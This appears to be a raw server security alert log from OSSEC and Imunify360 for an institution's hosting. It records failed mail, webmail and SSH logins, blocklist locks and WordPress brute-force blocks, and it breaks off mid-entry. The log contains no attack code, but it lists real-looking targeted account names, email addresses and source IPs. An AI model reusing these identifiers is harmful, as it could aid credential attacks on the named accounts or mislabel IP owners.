47.128.36.247 - - [30/Jan/2025:00:12:32 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=17526652 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-language=198%2C120%2C95%2C79%2C118&instructor=1&price_type=paid" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.36.247


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.239.164.190
description:
2025-01-30 00:12:35 dovecot_plain authenticator failed for (sogaz-gw.irkutsk.gldn.net) [195.239.164.190]:42818: 535 Incorrect authentication data (set_id=admin@elma-hk.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.189.124.74
description:
2025-01-30 00:13:14 dovecot_plain authenticator failed for ([203.189.124.74]) [203.189.124.74]:41743: 535 Incorrect authentication data (set_id=paakow2)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.36.214.109
description:
[2025-01-30 00:13:05 +0100] info [webmaild] 189.36.214.109 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.177.110
description:
2025-01-30 00:13:06 dovecot_plain authenticator failed for ([222.108.177.110]) [222.108.177.110]:43341: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.221.77.152
description:
[2025-01-30 00:13:08 +0100] info [webmaild] 177.221.77.152 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.242.165.148
description:
Jan 30 00:13:27 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.242.165.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.219.104.210
description:
Jan 30 00:13:43 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.219.104.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.0.186.121
description:
2025-01-30 00:13:03 dovecot_plain authenticator failed for ([153.0.186.121]) [153.0.186.121]:51117: 535 Incorrect authentication data (set_id=paakow2@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 170.205.31.125
domain: www.lemsas.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:ASHEwj||WPU:ASHEwj||RSV:6.65||T:APACHE||MV:00-13.170.205.31.125


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.103.35.130
description:
2025-01-30 00:13:24 dovecot_login authenticator failed for (host-130-35-103-103.xlinkbd.net) [103.103.35.130]:52877: 535 Incorrect authentication data (set_id=valeria553@ait-edu.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.103.35.130
description:
Jan 30 00:13:22 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.103.35.130 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.199.61.140
description:
[2025-01-30 00:13:21 +0100] info [webmaild] 181.199.61.140 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.242.165.148
description:
2025-01-30 00:13:29 dovecot_plain authenticator failed for ([1.242.165.148]) [1.242.165.148]:58991: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.186.136.36
description:
2025-01-30 00:13:10 dovecot_plain authenticator failed for ([61.186.136.36]) [61.186.136.36]:59256: 535 Incorrect authentication data (set_id=ads88a00080y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.122.198.54
description:
Jan 30 00:13:19 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.122.198.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.122.198.54
description:
2025-01-30 00:13:21 dovecot_plain authenticator failed for ([157.122.198.54]) [157.122.198.54]:44148: 535 Incorrect authentication data (set_id=ads88a00080y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
description:
2025-01-30 00:13:38 dovecot_plain authenticator failed for ([185.255.212.178]) [185.255.212.178]:44412: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.161.166.2
description:
[2025-01-30 00:13:01 +0100] info [webmaild] 45.161.166.2 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.0.186.121
description:
Jan 30 00:13:01 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.0.186.121 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.103
description:
47.128.112.103 - - [30/Jan/2025:00:13:33 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=31675195 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/11/?duration=short%2CextraLong&filtering=1&instructor=2&level=intermediate%2Cbeginner" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.103


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.178
description:
Jan 30 00:13:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.189.124.74
description:
Jan 30 00:13:12 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.189.124.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.47.48.178
description:
Jan 30 00:13:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.47.48.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.47.48.178
description:
2025-01-30 00:13:25 dovecot_plain authenticator failed for ([183.47.48.178]) [183.47.48.178]:38821: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
description:
2025-01-30 00:13:45 dovecot_login authenticator failed for net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:52573: 535 Incorrect authentication data (set_id=valeria553)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.119.218.137
description:
[2025-01-30 00:14:02 +0100] info [webmaild] 196.119.218.137 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 30 00:14:12 ait sshd[572216]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 30 00:14:12 ait sshd[572216]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.104
description:
2025-01-30 00:14:24 dovecot_plain authenticator failed for (m121-202-152-104.smartone.com) [121.202.152.104]:36540: 535 Incorrect authentication data (set_id=ads17a00060y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.254.45.44
description:
Jan 30 00:13:56 ait sshd[572546]: pam_imunify(sshd:auth): [IM360_RBL] The IP 43.254.45.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.149.203.183
description:
2025-01-30 00:14:02 dovecot_plain authenticator failed for ([221.149.203.183]) [221.149.203.183]:50266: 535 Incorrect authentication data (set_id=ads17a00060y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 147.135.223.135
domain: admission.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:00-14.147.135.223.135


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.149.203.183
description:
Jan 30 00:14:00 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.149.203.183 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 30 00:14:12 ait sshd[572216]: Invalid user heavy-rescue-unit.com 2a00 from 122.51.104.242 port 34834


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.143.241.150
description:
2025-01-30 00:14:47 dovecot_plain authenticator failed for ([61.143.241.150]) [61.143.241.150]:46854: 535 Incorrect authentication data (set_id=ujakpa@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.143.241.150
description:
Jan 30 00:14:45 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.143.241.150 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.126.228
description:
47.128.126.228 - - [30/Jan/2025:00:14:49 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=1957352 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/5/?duration=short%2Cmedium%2Clong&filtering=1&level=intermediate%2Cbeginner%2Cexpert&price_type=free" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.126.228


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 43.254.45.44
description:
Jan 30 00:13:56 ait sshd[572546]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.254.45.44


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.104
description:
Jan 30 00:14:22 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.104 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 5.62.151.51
description:
[2025-01-30 00:14:44 +0100] info [webmaild] 5.62.151.51 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.25.192
description:
47.128.25.192 - - [30/Jan/2025:00:15:12 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=5262371 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/13/?filter_course-language=79%2C198&filtering=1" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.25.192


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 30 00:15:21 ait sshd[573252]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.197.102
description:
Jan 30 00:15:29 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.197.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 30 00:15:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.151.70.158
description:
Jan 30 00:15:10 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.151.70.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.151.70.158
description:
2025-01-30 00:15:12 dovecot_plain authenticator failed for ([200.151.70.158]) [200.151.70.158]:41987: 535 Incorrect authentication data (set_id=ujakpa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-30 00:15:35 dovecot_plain authenticator failed for (metypatrew) [207.188.157.230]:2313: 535 Incorrect authentication data (set_id=ads21a00061y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.67.122.188
description:
[2025-01-30 00:15:53 +0100] info [webmaild] 201.67.122.188 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.148.148.191
description:
Jan 30 00:15:03 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.148.148.191 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.148.148.191
description:
2025-01-30 00:15:05 dovecot_plain authenticator failed for c188-148-148-191.bredband.tele2.se (mison) [188.148.148.191]:35463: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 30 00:15:21 ait sshd[573252]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.195.195.160
description:
Jan 30 00:15:32 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.195.195.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.205.14.196
description:
2025-01-30 00:15:44 dovecot_plain authenticator failed for ([129.205.14.196]) [129.205.14.196]:51182: 535 Incorrect authentication data (set_id=offei)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.254.45.44
description:
Jan 30 00:15:09 ait sshd[573192]: pam_imunify(sshd:auth): [IM360_RBL] The IP 43.254.45.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.197.102
description:
2025-01-30 00:15:31 dovecot_plain authenticator failed for (larks) [65.20.197.102]:52566: 535 Incorrect authentication data (set_id=ads21a00061y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.205.14.196
description:
Jan 30 00:15:42 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.205.14.196 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 43.254.45.44
description:
Jan 30 00:15:09 ait sshd[573192]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.254.45.44  user=root


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 30 00:15:17 ait sshd[573252]: Invalid user heavy-rescue-unit.com 2a00 from 122.51.104.242 port 53408


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.195.160
description:
2025-01-30 00:15:34 dovecot_plain authenticator failed for (mobile-166-195-195-160.mycingular.net) [166.195.195.160]:43132: 535 Incorrect authentication data (set_id=offei@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.244.142.135
description:
Jan 30 00:16:16 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.244.142.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.142.135
description:
2025-01-30 00:16:18 dovecot_plain authenticator failed for ([171.244.142.135]) [171.244.142.135]:44836: 535 Incorrect authentication data (set_id=assdas3@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-16.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.250.119.207
description:
Jan 30 00:16:26 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.250.119.207 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.119.207
description:
2025-01-30 00:16:28 dovecot_plain authenticator failed for ([167.250.119.207]) [167.250.119.207]:56803: 535 Incorrect authentication data (set_id=assdas3)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.222.202.126
description:
[2025-01-30 00:15:56 +0100] info [webmaild] 38.222.202.126 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.80.147.9
description:
[2025-01-30 00:17:03 +0100] info [webmaild] 201.80.147.9 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.138.34.129
description:
[2025-01-30 00:17:56 +0100] info [webmaild] 189.138.34.129 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.73.121.209
description:
2025-01-30 00:18:09 dovecot_plain authenticator failed for (logied) [62.73.121.209]:33224: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.206.95.195
description:
2025-01-30 00:18:32 dovecot_plain authenticator failed for ([47.206.95.195]) [47.206.95.195]:33101: 535 Incorrect authentication data (set_id=jntsoumou)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.206.95.195
description:
Jan 30 00:18:30 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.206.95.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 67.230.43.189
description:
[2025-01-30 00:18:29 +0100] info [webmaild] 67.230.43.189 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.73.121.209
description:
Jan 30 00:18:07 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.73.121.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.90.239.158
description:
Jan 30 00:18:15 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.90.239.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.90.239.158
description:
2025-01-30 00:18:17 dovecot_plain authenticator failed for (mail.salee.co.kr) [220.90.239.158]:42782: 535 Incorrect authentication data (set_id=jntsoumou@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.77.193.92
description:
2025-01-30 00:19:51 dovecot_plain authenticator failed for vps-de4e2f27.vps.ovh.net [51.77.193.92]:60034: 535 Incorrect authentication data (set_id=ads18b00173y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.235.148.73
description:
2025-01-30 00:19:19 dovecot_login authenticator failed for ([127.0.0.1]) [171.235.148.73]:56400: 535 Incorrect authentication data (set_id=ds18b00116y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.169.152.46
description:
Jan 30 00:19:27 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.169.152.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.64.247.175
description:
Jan 30 00:19:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.64.247.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.64.247.175
description:
2025-01-30 00:19:35 dovecot_login authenticator failed for 115-64-247-175.tpgi.com.au ([127.0.0.1]) [115.64.247.175]:45406: 535 Incorrect authentication data (set_id=ds18b00116y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.193.92
description:
Jan 30 00:19:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.193.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.235.148.73
description:
Jan 30 00:19:17 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.235.148.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.169.152.46
description:
2025-01-30 00:19:29 dovecot_plain authenticator failed for ([192.168.139.1]) [112.169.152.46]:55912: 535 Incorrect authentication data (set_id=vondee@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.56.31.167
description:
Jan 30 00:19:59 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.56.31.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.9.3.190
description:
2025-01-30 00:20:01 dovecot_plain authenticator failed for ([187.9.3.190]) [187.9.3.190]:57636: 535 Incorrect authentication data (set_id=ads18b00173y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.9.3.190
description:
Jan 30 00:19:59 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.9.3.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.56.31.167
description:
2025-01-30 00:20:01 dovecot_plain authenticator failed for p5b381fa7.dip0.t-ipconnect.de (butint) [91.56.31.167]:59939: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.99.7.156
description:
[2025-01-30 00:20:40 +0100] info [webmaild] 191.99.7.156 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 43.254.45.44
description:
Jan 30 00:22:01 ait sshd[576142]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.254.45.44


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.46.162
description:
47.128.46.162 - - [30/Jan/2025:00:22:08 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=29888924 HTTP/2.0" 302 0 udesk.ait-ext.com "https://udesk.ait-ext.com/_profiler/9e1b37?panel=config" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.46.162


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.4.203.221
description:
[2025-01-30 00:22:22 +0100] info [webmaild] 45.4.203.221 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.109.148.43
description:
Jan 30 00:21:55 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.109.148.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.109.148.43
description:
2025-01-30 00:21:57 dovecot_login authenticator failed for ([183.109.148.43]) [183.109.148.43]:57504: 535 Incorrect authentication data (set_id=freeman)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.254.45.44
description:
Jan 30 00:22:01 ait sshd[576142]: pam_imunify(sshd:auth): [IM360_RBL] The IP 43.254.45.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.193.190.105
description:
Jan 30 00:22:35 ait sshd[577054]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.193.190.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.252.171.26
description:
Jan 30 00:23:30 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.252.171.26 has been locked due to Imunify RBL


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jan 30 00:23:02 ait dovecot[577685]: master: Dovecot v2.3.21.1 (d492236fa0) starting up for lmtp, imap, pop3 (core dumps disabled)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.0.157
description:
Jan 30 00:23:10 ait sshd[577788]: pam_imunify(sshd:auth): [IM360_RBL] The IP 218.92.0.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 147.235.97.158
description:
Jan 30 00:22:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 147.235.97.158 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.193.190.105
description:
Jan 30 00:22:35 ait sshd[577054]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.193.190.105


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.0.212
description:
Jan 30 00:22:42 ait sshd[577230]: pam_imunify(sshd:auth): [IM360_RBL] The IP 218.92.0.212 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.92.0.157
description:
Jan 30 00:23:07 ait sshd[577788]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.157  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.86.178.81
description:
[2025-01-30 00:23:30 +0100] info [webmaild] 177.86.178.81 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.252.171.26
description:
2025-01-30 00:23:32 dovecot_plain authenticator failed for lmontsouris-656-1-112-26.w193-252.abo.wanadoo.fr (patibill) [193.252.171.26]:33665: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.83.68.102
description:
[2025-01-30 00:22:34 +0100] info [webmaild] 170.83.68.102 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.235.97.158
description:
2025-01-30 00:22:35 dovecot_plain authenticator failed for (stmakineri) [147.235.97.158]:58033: 535 Incorrect authentication data (set_id=ads20b00296y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.92.0.212
description:
Jan 30 00:22:42 ait sshd[577230]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.212  user=root


plugin: ossec
rule: 5758
name: Maximum authentication attempts exceeded.
abuser: 218.92.0.212
description:
Jan 30 00:23:03 ait sshd[577230]: error: maximum authentication attempts exceeded for root from 218.92.0.212 port 25430 ssh2 [preauth]


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.254.45.44
description:
Jan 30 00:23:22 ait sshd[578176]: pam_imunify(sshd:auth): [IM360_RBL] The IP 43.254.45.44 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 43.254.45.44
description:
